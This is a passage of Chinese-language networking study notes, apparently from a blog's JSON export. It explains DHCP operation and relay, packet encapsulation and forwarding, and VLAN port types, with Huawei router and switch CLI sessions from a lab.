地址需要管理员手工配置. DHCP 报文DHCP Discover: 用于发现网络中的 DHCP 服务器. DHCP offer: 用于提供终端设备的上网参数. DHCP Request: 客户端请求配置确认，或续借租期. DHCP ACK: 服务器对 DHCP Request 进行确认回复. DHCP NAK: 服务器对 DHCP Request 进行拒绝. DHCP Release: 客户端要释放地址时通知 DHCP 服务器的报文. DHCP Decline: 当客户端发现服务器分配的地址发现冲突，会通过此报文通知 DHCP 服务器，并重新向服务器申请地址. DHCP 工作过程PC Server=== Discover(广播) ==&gt;&lt;== Offer(单播/广播) ====== Request (广播) ==&gt;&lt;== ACK/NAK(单播/广播) === 当一个刚接入网络的终端设备还没分配 IP 地址 (0.0.0.0/32) 的时候，会通过广播来发送 DHCP Discover 报文来寻找网络中的服务器. 当网络内存在多台 DHCP 服务器接收到客户端发来的 Discover, 会从尚未分配的 IP 地址中选一个分配给设备，然后通过单播形式发送 offer 报文给终端设备，该报文中包含上网参数信息. 终端设备收到了 DHCP 服务器发来的 DHCP offer 报文，选择优先到达的一个。随后广播一个 Request 报文，目的是告诉所有的 DHCP 服务器，自己将使用哪一个 DHCP 服务器所提供的地址，以便于其他的服务器撤销自己的 offer 报文. DHCP 服务器收到终端设备发来的 DHCP Request, 返回给客户端一个 ACK, 表示确认，并将参数信息放入到报文中发送给终端设备. 当终端设备收到 DHCP 服务器发来的 ACK 后，会向网络内发送一个免费 ARP 来确认网络内是否存在地址冲突，如果没有冲突，则使用该地址，如果发生冲突，则向 DHCP 服务器发送一个 Decline 报文，拒绝此 IP 地址，并向服务器重新申请地址. DHCP 客户端在确定不使用 IP 地址信息时会发送 Release 消息来释放当前地址. 系统关机或重启 重置网卡 管理员通过命令手工释放 ipconfig /renew // 重新向DHCP服务器申请上网参数ipconfig /release // 释放当前PC的上网参数 DHCP Discover 消息的目的地址通常是广播地址 (Broadcast Address). 广播地址是一个特殊的 IP 地址，用于将消息发送到网络中的所有设备。在 IPv4 网络中，广播地址通常是目标 IP 地址为 255.255.255.255 的消息. DHCP 续租过程1. 当客户端的租期到达 50% 时会主动发送一个单播的 Request 进行 DHCP 续租. 2. 如果 Server 检查 Request 消息没有任何问题，直接回复 ACK 确认，并刷新租期. 3. 如果 50% 没有回应，会继续使用该 IP 地址，直到租期的 87.5%, 客户端广播发送 Request 进行续租，如果有 DHCP Server 回应可以进行续租，如果没有回应，将地址租期结束后重新进行租借过程. DHCP 全局地址池&lt;Huawei&gt;&lt;Huawei&gt;&lt;Huawei&gt;syEnter system view, return user view with Ctrl+Z.[Huawei]sy R1[R1]dhcp enable Info: The operation may take a few seconds. Please wait for a moment.done.[R1]ip pool ? STRING&lt;1-64&gt; Pool name[R1]ip pool PCInfo: It's successful to create an IP address pool.[R1-ip-pool-PC]network ? IP_ADDR&lt;X.X.X.X&gt; IP address[R1-ip-pool-PC]network 192.168.1.0 mask 24[R1-ip-pool-PC]display this[V200R003C00]#ip pool PC network 192.168.1.0 mask 255.255.255.0 #return[R1-ip-pool-PC]q[R1]int g0/0/0[R1-GigabitEthernet0/0/0]ip address 192.168.1.254 24Dec 19 2023 09:50:57-08:00 R1 %%01IFNET/4/LINK_STATE(l)[1]:The line protocol IP on the interface GigabitEthernet0/0/0 has entered the UP state. [R1-GigabitEthernet0/0/0]display this[V200R003C00]#interface GigabitEthernet0/0/0 ip address 192.168.1.254 255.255.255.0 #return[R1-GigabitEthernet0/0/0]ip pool PC[R1-ip-pool-PC]ga [R1-ip-pool-PC]gateway-list ? IP_ADDR&lt;X.X.X.X&gt; Gateway's IP address[R1-ip-pool-PC]gateway-list 192.168.1.254[R1-ip-pool-PC]dns-list ? IP_ADDR&lt;X.X.X.X&gt; IP address[R1-ip-pool-PC]dns-list 114.114.114.114[R1-ip-pool-PC]dis th[V200R003C00]#ip pool PC gateway-list 192.168.1.254 network 192.168.1.0 mask 255.255.255.0 dns-list 114.114.114.114 #return[R1-ip-pool-PC]lease day 0 hour 0 minute 30[R1-ip-pool-PC]dis this [V200R003C00]#ip pool PC gateway-list 192.168.1.254 network 192.168.1.0 mask 255.255.255.0 lease day 0 hour 0 minute 30 dns-list 114.114.114.114 #return[R1-ip-pool-PC]q[R1]int g0/0/0[R1-GigabitEthernet0/0/0]dhcp select global &lt;Huawei&gt;system-view[Huawei]sysname R1[R1]dhcp enable // 开启 DHCP 功能[R1]ip pool PC // 创建地址池[R1-ip-pool-PC]gateway-list 192.168.1.254 // 设置网关[R1-ip-pool-PC]network 192.168.1.0 mask 255.255.255.0 // 设置地址范围[R1-ip-pool-PC]lease day 0 hour 0 minute 30 // 设置租期[R1-ip-pool-PC]dns-list 114.114.114.114 // 设置DNS地址[R1-ip-pool-PC]excluded-ip-address 192.168.1.200 192.168.1.253 // 排除地址池中的地址[R1-ip-pool-PC]static-bind ip-address IP地址 mac-address xxxx-xxxx-xxxx(mac地址) // 静态绑定某个主机使用某个IP地址[R1]interface GigabitEthernet0/0/0 // 进入接口视图[R1-GigabitEthernet0/0/0]ip address 192.168.1.254 255.255.255.0 // 配置 IP 地址[R1-GigabitEthernet0/0/0]dhcp select global // 接口下使能全局地址池 [R1]display current-configuration // 查看配置 DHCP 接口地址池&lt;Huawei&gt;syEnter system view, return user view with Ctrl+Z.[Huawei]sy R1[R1]int g0/0/0[R1-GigabitEthernet0/0/0]ip add 192.168.1.254 24[R1-GigabitEthernet0/0/0]Dec 19 2023 11:00:18-08:00 R1 %%01IFNET/4/LINK_STATE(l)[0]:The line protocol IP on the interface GigabitEthernet0/0/0 has entered the UP state. [R1-GigabitEthernet0/0/0]q[R1]dhcp enableInfo: The operation may take a few seconds. Please wait for a moment.done.[R1]int g0/0/0[R1-GigabitEthernet0/0/0]dhcp select interface [R1-GigabitEthernet0/0/0]dis th[V200R003C00]#interface GigabitEthernet0/0/0 ip address 192.168.1.254 255.255.255.0 dhcp select interface#return[R1-GigabitEthernet0/0/0]dhcp server dns-list 114.114.114.114[R1-GigabitEthernet0/0/0]dhcp server lease day 0 hour 0 min 30&lt;R1&gt;syEnter system view, return user view with Ctrl+Z.[R1]int g0/0/0[R1-GigabitEthernet0/0/0]dhcp server ? dns-list Configure DNS servers domain-name Configure domain name excluded-ip-address Mark disable IP addresses import Imports the following network configuration parameters from a central server into local ip pool database: domain name, dns server and netbios server. lease Configure the lease of the IP pool nbns-list Configure the windows's netbios name servers netbios-type Netbios node type next-server The address of the server to use in the next step of the client's bootstrap process. option Configure the DHCP options option121 DHCP option 121 option184 DHCP option 184 recycle Recycle IP address static-bind Static bind[R1-GigabitEthernet0/0/0]dhcp server st [R1-GigabitEthernet0/0/0]dhcp server static-bind ? ip-address IP address for static bind[R1-GigabitEthernet0/0/0]dhcp server static-bind ip-address 192.168.1.51 ? mac-address MAC address for static bind[R1-GigabitEthernet0/0/0]dhcp server static-bind ip-address 192.168.1.51 mac-address ? MAC_ADDR&lt;XXXX-XXXX-XXXX&gt; MAC address[R1-GigabitEthernet0/0/0]dhcp server static-bind ip-address 192.168.1.51 mac-address 5489-981A-18A3[R1-GigabitEthernet0/0/0] &lt;Huawei&gt;sy[Huawei]sy R1[R1]dhcp enable // 开启 DHCP 功能[R1]int g0/0/0 // 进入接口视图[R1-GigabitEthernet0/0/0]ip add 192.168.1.254 24 // 配置 IP 地址的掩码[R1-GigabitEthernet0/0/0]dhcp select interface // 接口下使能接口地址池[R1-GigabitEthernet0/0/0]dhcp server dns-list 114.114.114.114 // 设置 DNS[R1-GigabitEthernet0/0/0]dhcp server lease day 0 hour 0 min 30 // 设置租期[R1-GigabitEthernet0/0/0]dhcp server excluded-ip-address 192.168.1.10 192.168.1.50 // 排除地址池中的地址 [R1-GigabitEthernet0/0/0]dhcp server static-bind ip-address 192.168.1.51 mac-address 5489-981A-18A3 // 静态绑定某个主机使用某个IP地址 DHCP 中继PC 的 DHCP 广播报文单播发给 DHCP 服务器. R1&lt;Huawei&gt;syEnter system view, return user view with Ctrl+Z.[Huawei]sy R1[R1]int g0/0/1[R1-GigabitEthernet0/0/1]ip add 192.168.1.254 24[R1-GigabitEthernet0/0/1]int g0/0/0[R1-GigabitEthernet0/0/0]ip add 12.1.1.1 24[R1-GigabitEthernet0/0/0][R1]dhcp enable Info: The operation may take a few seconds. Please wait for a moment.done.[R1]int g0/0/1[R1-GigabitEthernet0/0/1]dhcp select ? global Local server interface Interface server pool relay DHCP relay[R1-GigabitEthernet0/0/1]dhcp select relay [R1-GigabitEthernet0/0/1]dhcp relay server-ip 12.1.1.2[R1-GigabitEthernet0/0/1] R2&lt;Huawei&gt;syEnter system view, return user view with Ctrl+Z.[Huawei]sy R2[R2]int g0/0/0[R2-GigabitEthernet0/0/0]ip add 12.1.1.2 24[R2-GigabitEthernet0/0/0]q[R2]ping 192.168.1.254 PING 192.168.1.254: 56 data bytes, press CTRL_C to break Request time out Request time out Request time out --- 192.168.1.254 ping statistics --- 3 packet(s) transmitted 0 packet(s) received 100.00% packet loss[R2]ip route-static 192.168.1.0 24 12.1.1.1[R2]ping 192.168.1.254 PING 192.168.1.254: 56 data bytes, press CTRL_C to break Reply from 192.168.1.254: bytes=56 Sequence=1 ttl=255 time=110 ms Reply from 192.168.1.254: bytes=56 Sequence=2 ttl=255 time=20 ms Reply from 192.168.1.254: bytes=56 Sequence=3 ttl=255 time=30 ms Reply from 192.168.1.254: bytes=56 Sequence=4 ttl=255 time=40 ms Reply from 192.168.1.254: bytes=56 Sequence=5 ttl=255 time=10 ms --- 192.168.1.254 ping statistics --- 5 packet(s) transmitted 5 packet(s) received 0.00% packet loss round-trip min/avg/max = 10/42/110 ms[R2]ip pool PC[R2-ip-pool-PC]network 192.168.1.0 mask 24[R2-ip-pool-PC]gateway-list 192.168.1.254[R2-ip-pool-PC]dns-list 114.114.114.114[R2-ip-pool-PC]lease day 0 hour 0 min 10[R2-ip-pool-PC]excluded-ip-address 192.168.1.100 192.168.1.253[R2-ip-pool-PC]dis th[V200R003C00]#ip pool PC gateway-list 192.168.1.254 network 192.168.1.0 mask 255.255.255.0 excluded-ip-address 192.168.1.100 192.168.1.253 lease day 0 hour 0 minute 10 dns-list 114.114.114.114 #return[R2-ip-pool-PC]q[R2]dhcp enable Info: The operation may take a few seconds. Please wait for a moment.done.[R2]int g0/0/0[R2-GigabitEthernet0/0/0]dhcp select global [R2-GigabitEthernet0/0/0] R1# sysname R1#dhcp enable#interface GigabitEthernet0/0/0 ip address 12.1.1.1 255.255.255.0 #interface GigabitEthernet0/0/1 ip address 192.168.1.254 255.255.255.0 dhcp select relay // 接口下开启 DHCP 中继功能 dhcp relay server-ip 12.1.1.2 // 告知中继中的DHCP服务器的IP地址# R2# sysname R2#dhcp enable#ip pool PC gateway-list 192.168.1.254 network 192.168.1.0 mask 255.255.255.0 excluded-ip-address 192.168.1.100 192.168.1.253 lease day 0 hour 0 minute 10 dns-list 114.114.114.114 #interface GigabitEthernet0/0/0 ip address 12.1.1.2 255.255.255.0 dhcp select global##ip route-static 192.168.1.0 255.255.255.0 12.1.1.1#"},{"title":"","date":"2023-12-18T07:00:00.000Z","updated":"2023-12-18T07:00:00.000Z","comments":true,"path":"notes/datacom/11.html","permalink":"https://blog.mhuig.top/notes/datacom/11","excerpt":"","text":"数据转发过程 数据转发过程 数据的封装和解封装传输层设备使用传输层协议进行报文封装，填充源端口和目的端口，标识位，序列号等等，之后交给网络层协议进行后续的封装. 网络层在网络层进行封装时，要明确 IP 报文的源 IP 地址和目的 IP 地址，并通过协议标识上一层协议，封装完成后交给数据链路层进行封装. 数据链路层 如果访问的是同一网段的设备，目的 MAC 不需要填写成网关设备的 MAC 地址，ARP 会直接请求目的 IP 设备的 MAC 地址. 如果访问的是其他网段的设备，则需要通过网关转发出去，那么就要获取到网关的 MAC 地址. 首先查看 ARP 缓存表，如果表中记录着对应的 IP 地址和 MAC 地址的映射关系，则直接进行二层封装. 如果没有对应的信息，则通过 ARP 协议获取设备的 MAC 地址对二层进行封装，填写源目 MAC, Type 字段完成后，进行 FCS 检验填写. 物理层在数据帧前添加前导码以及定界符，再通过 bit 流的形式在物理链路上进行传输. 解封装当设备收到一个数据帧时，首先查看 FCS 字段，检验数据帧是否完整，之后再查看目的 MAC 地址，查看数据帧是不是给自己的. 再看 IP 头部中的目的 IP 地址，通过路由表查询去往该目的地的地址是否有对应的信息。如果有对应的信息，重新封装一个二层的头部和尾部. 到达最终的目的地时，接收方会先检查 FCS 检查数据是否完整，查看目的 MAC, 如果封装的是本设备的 MAC 地址，通过 type 字段交给上层协议进行处理. 然后查看目的 IP 是否为本设备的 IP 地址，如果是，通过 Protocol 字段，将数据交给上层协议进行处理. TCP/UDP 协议通过目的端口判断，发送方想要访问本设备的哪种应用服务，然后交给服务进行处理. 数据转发原理 需要先进行域名解析 向 DNS 服务器发送域名查询信息进行解析 baidu.com 对应的 IP 地址. DNS 服务器回应请求消息，将百度服务器的 IP 地址告知 PC. DNS114 114.114.114.114阿里 223.5.5.5百度360DNS谷歌 8.8.8.8 开始封装，在封装数据链路层时，发现目的 IP 与源 IP 不在同一网络中，这时通过 ARP 请求网关的 MAC 地址，并进行封装 当数据经过交换机时，交换机根据 MAC 地址表进行转发，交给网关处理. 网关收到数据帧后，进行解封装，查看 MAC 地址为自己的 MAC 地址，继续解封装，发现目的 IP 地址并不是自己的 IP 地址，需要根据路由表重新封装数据帧并转发. 服务器在收到消息后解封装处理，最终将数据交给对应的应用服务. AR1&lt;Huawei&gt;sy &lt;Huawei&gt;system-view Enter system view, return user view with Ctrl+Z.[Huawei]sy [Huawei]sysname R1[R1]int [R1]interface g0/0/0[R1-GigabitEthernet0/0/0]ip add [R1-GigabitEthernet0/0/0]ip address 192.168.1.254 ? INTEGER&lt;0-32&gt; Length of IP address mask IP_ADDR&lt;X.X.X.X&gt; IP address mask[R1-GigabitEthernet0/0/0]ip address 192.168.1.254 24Dec 18 2023 15:34:43-08:00 R1 %%01IFNET/4/LINK_STATE(l)[0]:The line protocol IP on the interface GigabitEthernet0/0/0 has entered the UP state. [R1-GigabitEthernet0/0/0][R1-GigabitEthernet0/0/0][R1-GigabitEthernet0/0/0]interface g0/0/1[R1-GigabitEthernet0/0/1][R1-GigabitEthernet0/0/1]ip address 10.1.1.254 24Dec 18 2023 15:36:09-08:00 R1 %%01IFNET/4/LINK_STATE(l)[1]:The line protocol IP on the interface GigabitEthernet0/0/1 has entered the UP state. [R1-GigabitEthernet0/0/1][R1-GigabitEthernet0/0/1][R1-GigabitEthernet0/0/1][R1-GigabitEthernet0/0/1]q[R1]q&lt;R1&gt;sa &lt;R1&gt;save The current configuration will be written to the device. Are you sure to continue? (y/n)[n]:y It will take several minutes to save configuration file, please wait....... Configuration file had been saved successfully Note: The configuration file will take effect after being activated&lt;R1&gt;&lt;R1&gt;&lt;R1&gt;&lt;R1&gt;syEnter system view, return user view with Ctrl+Z.[R1]dis [R1]display inter [R1]display interface g0/0/0GigabitEthernet0/0/0 current state : UPLine protocol current state : UPLast line protocol up time : 2023-12-18 15:34:43 UTC-08:00Description:HUAWEI, AR Series, GigabitEthernet0/0/0 InterfaceRoute Port,The Maximum Transmit Unit is 1500Internet Address is 192.168.1.254/24IP Sending Frames' Format is PKTFMT_ETHNT_2, Hardware address is 00e0-fc7d-4606Last physical up time : 2023-12-18 15:21:06 UTC-08:00Last physical down time : 2023-12-18 15:20:59 UTC-08:00Current system time: 2023-12-18 15:40:47-08:00Port Mode: FORCE COPPERSpeed : 1000, Loopback: NONEDuplex: FULL, Negotiation: ENABLEMdi : AUTOLast 300 seconds input rate 456 bits/sec, 0 packets/secLast 300 seconds output rate 16 bits/sec, 0 packets/secInput peak rate 1040 bits/sec,Record time: 2023-12-18 15:39:01Output peak rate 472 bits/sec,Record time: 2023-12-18 15:39:01Input: 562 packets, 65813 bytes Unicast: 16, Multicast: 541 Broadcast: 5, Jumbo: 0 Discard: 0, Total Error: 0 CRC: 0, Giants: 0 Jabbers: 0, Throttles: 0 Runts: 0, Symbols: 0 Ignoreds: 0, Frames: 0Output: 17 packets, 1216 bytes Unicast: 15, Multicast: 0 Broadcast: 2, Jumbo: 0 Discard: 0, Total Error: 0 Collisions: 0, ExcessiveCollisions: 0 Late Collisions: 0, Deferreds: 0 Input bandwidth utilization threshold : 100.00% Output bandwidth utilization threshold: 100.00% Input bandwidth utilization : 0% Output bandwidth utilization : 0%[R1][R1][R1]display interface g0/0/1GigabitEthernet0/0/1 current state : UPLine protocol current state : UPLast line protocol up time : 2023-12-18 15:36:09 UTC-08:00Description:HUAWEI, AR Series, GigabitEthernet0/0/1 InterfaceRoute Port,The Maximum Transmit Unit is 1500Internet Address is 10.1.1.254/24IP Sending Frames' Format is PKTFMT_ETHNT_2, Hardware address is 00e0-fc7d-4607Last physical up time : 2023-12-18 15:21:06 UTC-08:00Last physical down time : 2023-12-18 15:20:59 UTC-08:00Current system time: 2023-12-18 15:42:10-08:00Port Mode: COMMON COPPERSpeed : 1000, Loopback: NONEDuplex: FULL, Negotiation: ENABLEMdi : AUTOLast 300 seconds input rate 16 bits/sec, 0 packets/secLast 300 seconds output rate 16 bits/sec, 0 packets/secInput peak rate 472 bits/sec,Record time: 2023-12-18 15:39:01Output peak rate 472 bits/sec,Record time: 2023-12-18 15:39:01Input: 12 packets, 810 bytes Unicast: 10, Multicast: 0 Broadcast: 2, Jumbo: 0 Discard: 0, Total Error: 0 CRC: 0, Giants: 0 Jabbers: 0, Throttles: 0 Runts: 0, Symbols: 0 Ignoreds: 0, Frames: 0Output: 11 packets, 786 bytes Unicast: 9, Multicast: 0 Broadcast: 2, Jumbo: 0 Discard: 0, Total Error: 0 Collisions: 0, ExcessiveCollisions: 0 Late Collisions: 0, Deferreds: 0 Input bandwidth utilization threshold : 100.00% Output bandwidth utilization threshold: 100.00% Input bandwidth utilization : 0% Output bandwidth utilization : 0%[R1][R1][R1]"},{"title":"","date":"2023-12-19T06:00:00.000Z","updated":"2023-12-19T06:00:00.000Z","comments":true,"path":"notes/datacom/12.html","permalink":"https://blog.mhuig.top/notes/datacom/12","excerpt":"","text":"VLAN 原理与配置 VLAN 原理与配置 广播域过大造成的弊端交换机所处的位置是一个广播域. 1. 广播域的泛洪会导致网络传输效率降低. 2. 广播域过大可能会造成安全隐患. 3. 如果发生了故障很难排查. 4. 广播域过大会造成策略难以部署. 5. 会导致网络中带宽消耗过大. VLANVLAN: 虚拟局域网，是在交换机上实现广播域隔离的一项二层技术，每个 VLAN 就是一个广播域，VLAN 和设备的物理位置无关。同一 VLAN 设备可以直接二层通信，不同的 VLAN 设备相互隔离，缺省情况下交换机属于同一个 VLAN. 不同的 VLAN 通过 VLAN 编号进行区分，VLAN 编号的取值范围 0-4095, 其中 0 和 4095 有特殊用处不能使用，缺省 VLAN 为 1. VLAN Tag (802.1q) 数据帧源 MAC 地址和类型之间插入 VLAN Tag, 包含 VLAN ID. PVID 位于交换机接口. VLAN 的划分方式 1. 基于接口的划分：根据交换机的接口编号来划分，通过交换机的每一个接口配置不同的 PVID, 来将不同的接口划分到不同的 VLAN 中. 2. 基于 MAC 地址的划分. 3. 基于 IP 子网的划分. 4. 基于协议的划分. 5. 基于策略的划分. 接口Access接收当交换机收到一个没有 TAG 的数据帧时，则接收该数据帧并根据 PVID 打上 VLANID. 当交换机接收到一个带有 TAG 的数据帧时，当数据帧中的 VLANID 和 PVID 相同时，接收，不相同时，不接收. 发送当交换机发送一个 VLANID 和 PVID 相同的数据帧时，剥离数据帧的 TAG 发送. 当交换机发送一个 VLANID 和 PVID 不相同的数据帧时，禁止数据帧发出. TRTUNK接收当交换机接收到一个不带 TAG 的数据帧时，根据 PVID 打上 VLANID, 如果 VLANID 在允许放行的列表中，则接收. 当交换机接收到一个带 TAG 的数据帧时，查看 VLANID 是否允许通过列表里，在则通过，不在，禁止通过. 发送当数据帧中 VLANID 和 PVID 相同，该 VLANID 是否在允许通过列表中，在则剥离 TAG 发送，不在则丢弃. 当数据帧中 VLANID 和 PVID 不相同，该 VLANID 是否在允许通过的列表中，在则保留 TAG 发送，不在则丢弃. Hybrid接收与 Trunk 端口类型一致. 发送如果该数据帧的 VLANID 不在允许通过列表中，则禁止通过. 当数据帧的 VLANID 在允许通过列表中，根据管理员指定该数据帧是否携带 TAG 通过. VLAN 命令Access Trunk SW1&lt;Huawei&gt;display port vlan Port Link Type PVID Trunk VLAN List-------------------------------------------------------------------------------GigabitEthernet0/0/1 hybrid 1 - GigabitEthernet0/0/2 hybrid 1 - GigabitEthernet0/0/3 hybrid 1 - GigabitEthernet0/0/4 hybrid 1 - GigabitEthernet0/0/5 hybrid 1 - GigabitEthernet0/0/6 hybrid 1 - GigabitEthernet0/0/7 hybrid 1 - GigabitEthernet0/0/8 hybrid 1 - GigabitEthernet0/0/9 hybrid 1 - GigabitEthernet0/0/10 hybrid 1 - GigabitEthernet0/0/11 hybrid 1 - GigabitEthernet0/0/12 hybrid 1 - GigabitEthernet0/0/13 hybrid 1 - GigabitEthernet0/0/14 hybrid 1 - GigabitEthernet0/0/15 hybrid 1 - GigabitEthernet0/0/16 hybrid 1 - GigabitEthernet0/0/17 hybrid 1 - GigabitEthernet0/0/18 hybrid 1 - GigabitEthernet0/0/19 hybrid 1 - GigabitEthernet0/0/20 hybrid 1 - GigabitEthernet0/0/21 hybrid 1 - GigabitEthernet0/0/22 hybrid 1 - GigabitEthernet0/0/23 hybrid 1 - GigabitEthernet0/0/24 hybrid 1 - &lt;Huawei&gt;&lt;Huawei&gt;syEnter system view, return user view with Ctrl+Z.[Huawei]vlan 10[Huawei-vlan10]q[Huawei]vlan 20[Huawei-vlan20]q[Huawei]undo vlan 10[Huawei]undo vlan 20[Huawei]vlan batch 10 20Info: This operation may take a few seconds. Please wait for a moment...done.[Huawei]vlan batch 10 to 20Info: This operation may take a few seconds. Please wait for a moment...done.[Huawei]int g0/0/1[Huawei-GigabitEthernet0/0/1]port link-type access[Huawei-GigabitEthernet0/0/1]port default vlan 10[Huawei-GigabitEthernet0/0/1]dis th#interface GigabitEthernet0/0/1 port link-type access port default vlan 10#return[Huawei-GigabitEthernet0/0/1]display port vlan Port Link Type PVID Trunk VLAN List-------------------------------------------------------------------------------GigabitEthernet0/0/1 access 10 - GigabitEthernet0/0/2 hybrid 1 - GigabitEthernet0/0/3 hybrid 1 - GigabitEthernet0/0/4 hybrid 1 - GigabitEthernet0/0/5 hybrid 1 - GigabitEthernet0/0/6 hybrid 1 - GigabitEthernet0/0/7 hybrid 1 - GigabitEthernet0/0/8 hybrid 1 - GigabitEthernet0/0/9 hybrid 1 - GigabitEthernet0/0/10 hybrid 1 - GigabitEthernet0/0/11 hybrid 1 - GigabitEthernet0/0/12 hybrid 1 - GigabitEthernet0/0/13 hybrid 1 - GigabitEthernet0/0/14 hybrid 1 - GigabitEthernet0/0/15 hybrid 1 - GigabitEthernet0/0/16 hybrid 1 - GigabitEthernet0/0/17 hybrid 1 - GigabitEthernet0/0/18 hybrid 1 - GigabitEthernet0/0/19 hybrid 1 - GigabitEthernet0/0/20 hybrid 1 - GigabitEthernet0/0/21 hybrid 1 - GigabitEthernet0/0/22 hybrid 1 - GigabitEthernet0/0/23 hybrid 1 - GigabitEthernet0/0/24 hybrid 1 - [Huawei-GigabitEthernet0/0/1][Huawei-GigabitEthernet0/0/1]int g0/0/3[Huawei-GigabitEthernet0/0/3]port link-type access[Huawei-GigabitEthernet0/0/3]port default vlan 10[Huawei-GigabitEthernet0/0/3]int g0/0/2[Huawei-GigabitEthernet0/0/2]port link-type access[Huawei-GigabitEthernet0/0/2]port default vlan 20[Huawei-GigabitEthernet0/0/2]int g0/0/4[Huawei-GigabitEthernet0/0/4]port link-type access[Huawei-GigabitEthernet0/0/4]port default vlan 20[Huawei]display port vlan Port Link Type PVID Trunk VLAN List-------------------------------------------------------------------------------GigabitEthernet0/0/1 access 10 - GigabitEthernet0/0/2 access 20 - GigabitEthernet0/0/3 access 10 - GigabitEthernet0/0/4 access 20 - GigabitEthernet0/0/5 hybrid 1 - GigabitEthernet0/0/6 hybrid 1 - GigabitEthernet0/0/7 hybrid 1 - GigabitEthernet0/0/8 hybrid 1 - GigabitEthernet0/0/9 hybrid 1 - GigabitEthernet0/0/10 hybrid 1 - GigabitEthernet0/0/11 hybrid 1 - GigabitEthernet0/0/12 hybrid 1 - GigabitEthernet0/0/13 hybrid 1 - GigabitEthernet0/0/14 hybrid 1 - GigabitEthernet0/0/15 hybrid 1 - GigabitEthernet0/0/16 hybrid 1 - GigabitEthernet0/0/17 hybrid 1 - GigabitEthernet0/0/18 hybrid 1 - GigabitEthernet0/0/19 hybrid 1 - GigabitEthernet0/0/20 hybrid 1 - GigabitEthernet0/0/21 hybrid 1 - GigabitEthernet0/0/22 hybrid 1 - GigabitEthernet0/0/23 hybrid 1 - GigabitEthernet0/0/24 hybrid 1 - [Huawei][Huawei]int g0/0/5[Huawei-GigabitEthernet0/0/5]port link-type trunk [Huawei-GigabitEthernet0/0/5]port trunk allow-pass vlan ? INTEGER&lt;1-4094&gt; VLAN ID all All[Huawei-GigabitEthernet0/0/5]port trunk allow-pass vlan 10 20[Huawei-GigabitEthernet0/0/5]dis this#interface GigabitEthernet0/0/5 port link-type trunk port trunk allow-pass vlan 10 20#return[Huawei-GigabitEthernet0/0/5]display port vlanPort Link Type PVID Trunk VLAN List-------------------------------------------------------------------------------GigabitEthernet0/0/1 access 10 - GigabitEthernet0/0/2 access 20 - GigabitEthernet0/0/3 access 10 - GigabitEthernet0/0/4 access 20 - GigabitEthernet0/0/5 trunk 1 1 10 20GigabitEthernet0/0/6 hybrid 1 - GigabitEthernet0/0/7 hybrid 1 - GigabitEthernet0/0/8 hybrid 1 - GigabitEthernet0/0/9 hybrid 1 - GigabitEthernet0/0/10 hybrid 1 - GigabitEthernet0/0/11 hybrid 1 - GigabitEthernet0/0/12 hybrid 1 - GigabitEthernet0/0/13 hybrid 1 - GigabitEthernet0/0/14 hybrid 1 - GigabitEthernet0/0/15 hybrid 1 - GigabitEthernet0/0/16 hybrid 1 - GigabitEthernet0/0/17 hybrid 1 - GigabitEthernet0/0/18 hybrid 1 - GigabitEthernet0/0/19 hybrid 1 - GigabitEthernet0/0/20 hybrid 1 - GigabitEthernet0/0/21 hybrid 1 - GigabitEthernet0/0/22 hybrid 1 - GigabitEthernet0/0/23 hybrid 1 - GigabitEthernet0/0/24 hybrid 1 - [Huawei-GigabitEthernet0/0/5][Huawei]int g0/0/5[Huawei-GigabitEthernet0/0/5]port trunk pvid vlan 10[Huawei-GigabitEthernet0/0/5]display port vlanPort Link Type PVID Trunk VLAN List-------------------------------------------------------------------------------GigabitEthernet0/0/1 access 10 - GigabitEthernet0/0/2 access 20 - GigabitEthernet0/0/3 access 10 - GigabitEthernet0/0/4 access 20 - GigabitEthernet0/0/5 trunk 10 1 10 20GigabitEthernet0/0/6 hybrid 1 - GigabitEthernet0/0/7 hybrid 1 - GigabitEthernet0/0/8 hybrid 1 - GigabitEthernet0/0/9 hybrid 1 - GigabitEthernet0/0/10 hybrid 1 - GigabitEthernet0/0/11 hybrid 1 - GigabitEthernet0/0/12 hybrid 1 - GigabitEthernet0/0/13 hybrid 1 - GigabitEthernet0/0/14 hybrid 1 - GigabitEthernet0/0/15 hybrid 1 - GigabitEthernet0/0/16 hybrid 1 - GigabitEthernet0/0/17 hybrid 1 - GigabitEthernet0/0/18 hybrid 1 - GigabitEthernet0/0/19 hybrid 1 - GigabitEthernet0/0/20 hybrid 1 - GigabitEthernet0/0/21 hybrid 1 - GigabitEthernet0/0/22 hybrid 1 - GigabitEthernet0/0/23 hybrid 1 - GigabitEthernet0/0/24 hybrid 1 - [Huawei-GigabitEthernet0/0/5]&lt;Huawei&gt;display cu#sysname Huawei#vlan batch 10 to 20#cluster enablentdp enablendp enable#drop illegal-mac alarm#diffserv domain default#drop-profile default#aaa authentication-scheme default authorization-scheme default accounting-scheme default domain default domain default_admin local-user admin password simple admin local-user admin service-type http#interface Vlanif1#interface MEth0/0/1#interface GigabitEthernet0/0/1 port link-type access port default vlan 10#interface GigabitEthernet0/0/2 port link-type access port default vlan 20#interface GigabitEthernet0/0/3 port link-type access port default vlan 10#interface GigabitEthernet0/0/4 port link-type access port default vlan 20#interface GigabitEthernet0/0/5 port link-type trunk port trunk pvid vlan 10 port trunk allow-pass vlan 10 20#interface GigabitEthernet0/0/6 SW2&lt;Huawei&gt;dis cu#sysname Huawei#vlan batch 10 20#interface GigabitEthernet0/0/1 port link-type trunk port trunk pvid vlan 10 port trunk allow-pass vlan 10 20#interface GigabitEthernet0/0/2 port link-type access port default vlan 10#interface GigabitEthernet0/0/3 port link-type access port default vlan 20#&lt;Huawei&gt; [Huawei]vlan batch 10 20 // 同时创建vlan 10 20[Huawei-GigabitEthernet0/0/x]port link-type access // 端口类型改为access[Huawei-GigabitEthernet0/0/x]port default vlan xx // 默认 vlan 为xx[Huawei-GigabitEthernet0/0/x]port link-type trunk // 端口类型改为trunk[Huawei-GigabitEthernet0/0/x]port trunk allow-pass vlan 10 20 // 允许通过列表 10 20[Huawei-GigabitEthernet0/0/x]port trunk pvid vlan 10 // 更改 pvid 为 VLAN10 Hybrid SW1&lt;Huawei&gt;syEnter system view, return user view with Ctrl+Z.[Huawei]sy SW1[SW1]vlan batch 10 20Info: This operation may take a few seconds. Please wait for a moment...done.[SW1]int g0/0/3[SW1-GigabitEthernet0/0/3]port hybrid pvid vlan 10[SW1-GigabitEthernet0/0/3]port hybrid untagged vlan 10[SW1-GigabitEthernet0/0/3]dis this #interface GigabitEthernet0/0/3 port hybrid pvid vlan 10 port hybrid untagged vlan 10#return[SW1-GigabitEthernet0/0/3]int g0/0/1[SW1-GigabitEthernet0/0/1]port link-type hybrid [SW1-GigabitEthernet0/0/1]port 